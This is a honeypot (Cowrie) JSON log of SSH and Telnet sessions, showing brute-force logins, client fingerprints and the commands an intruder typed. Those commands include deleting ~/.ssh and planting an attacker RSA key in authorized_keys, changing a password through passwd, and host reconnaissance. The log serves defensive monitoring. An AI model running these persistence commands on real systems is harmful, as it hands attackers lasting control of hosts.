{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:45.064598Z","src_ip":"152.42.212.128","session":"640f401a83bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:45.068627Z","src_ip":"152.42.212.128","session":"640f401a83bc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:45.381756Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:45.385571Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50878,"dst_ip":"10.17.0.5","dst_port":23,"session":"51c42d38419d","protocol":"telnet","message":"New connection: 192.119.13.58:50878 (10.17.0.5:23) [session: 51c42d38419d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:45.727025Z"}
{"eventid":"cowrie.session.closed","duration":32.889201402664185,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:47.287619Z","src_ip":"192.119.13.58","session":"3e29cb0cb779","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:47.638913Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"2.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:47.643174Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":38043,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd4038a6e279","protocol":"ssh","message":"New connection: 122.51.73.24:38043 (10.17.0.5:22) [session: bd4038a6e279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:47.848560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:47.853504Z","src_ip":"122.51.73.24","session":"bd4038a6e279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:48.084797Z","src_ip":"122.51.73.24","session":"bd4038a6e279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:49.042392Z","src_ip":"122.51.73.24","session":"bd4038a6e279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:50.278003Z","src_ip":"122.51.73.24","session":"bd4038a6e279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":38663,"dst_ip":"10.17.0.5","dst_port":22,"session":"407c3f45a6f8","protocol":"ssh","message":"New connection: 122.51.73.24:38663 (10.17.0.5:22) [session: 407c3f45a6f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:50.508984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:50.513875Z","src_ip":"122.51.73.24","session":"407c3f45a6f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.4259831905365,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:50.604659Z","src_ip":"192.119.13.58","session":"ffab56d82905","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:50.748092Z","src_ip":"122.51.73.24","session":"407c3f45a6f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:52.408276Z","src_ip":"122.51.73.24","session":"407c3f45a6f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:53.648550Z","src_ip":"122.51.73.24","session":"407c3f45a6f8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:53.973886Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:53.977887Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:54.232077Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59270,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb64b8521a2b","protocol":"telnet","message":"New connection: 192.119.13.58:59270 (10.17.0.5:23) [session: fb64b8521a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:54.518893Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:55.005291Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminpass\\nGAQUVyw1Nd1z\\nGAQUVyw1Nd1z\"|passwd|bash","message":"CMD: echo -e \"adminpass\\nGAQUVyw1Nd1z\\nGAQUVyw1Nd1z\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:55.008921Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:55.012887Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:55.016342Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b198473e392b0024677a04f4bc820c2f393e93f38f0c51e4e03b4be556aab9fb","size":32,"shasum":"b198473e392b0024677a04f4bc820c2f393e93f38f0c51e4e03b4be556aab9fb","duplicate":false,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/b198473e392b0024677a04f4bc820c2f393e93f38f0c51e4e03b4be556aab9fb after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:55.735419Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:56.761941Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminpass\\nGAQUVyw1Nd1z\\nGAQUVyw1Nd1z\\n\"|passwd","message":"CMD: echo \"adminpass\\nGAQUVyw1Nd1z\\nGAQUVyw1Nd1z\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:56.765661Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/116cc9ac7edf3968b123154bc5c10fcf120ab4d87cd4c89b3e4fe8e070b631c3","size":25,"shasum":"116cc9ac7edf3968b123154bc5c10fcf120ab4d87cd4c89b3e4fe8e070b631c3","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/116cc9ac7edf3968b123154bc5c10fcf120ab4d87cd4c89b3e4fe8e070b631c3 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:57.020483Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:58.086071Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:58.089692Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:58.344804Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:58.905028Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:58.908657Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:59.163317Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:59.709300Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:59.713116Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:59.716403Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.2223801612854,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:59.904891Z","src_ip":"192.119.13.58","session":"2042a7699876","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:59.972797Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:00.525482Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:00.528383Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:00.781778Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:01.329906Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:01.333790Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59418,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3cca75fcaf0","protocol":"telnet","message":"New connection: 192.119.13.58:59418 (10.17.0.5:23) [session: f3cca75fcaf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:01.487934Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:01.588321Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":43906,"dst_ip":"159.203.135.109","dst_port":22,"session":"f68d02c325a6","protocol":"ssh","message":"New connection: 80.66.85.226:43906 (159.203.135.109:22) [session: f68d02c325a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:01.980117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:01.985761Z","src_ip":"80.66.85.226","session":"f68d02c325a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:02.079500Z","src_ip":"80.66.85.226","session":"f68d02c325a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34130,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd81707ea029","protocol":"telnet","message":"New connection: 192.119.13.58:34130 (10.17.0.5:23) [session: bd81707ea029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:02.225517Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"polinka","message":"login attempt [root/polinka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:02.363880Z","src_ip":"80.66.85.226","session":"f68d02c325a6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:02.470354Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
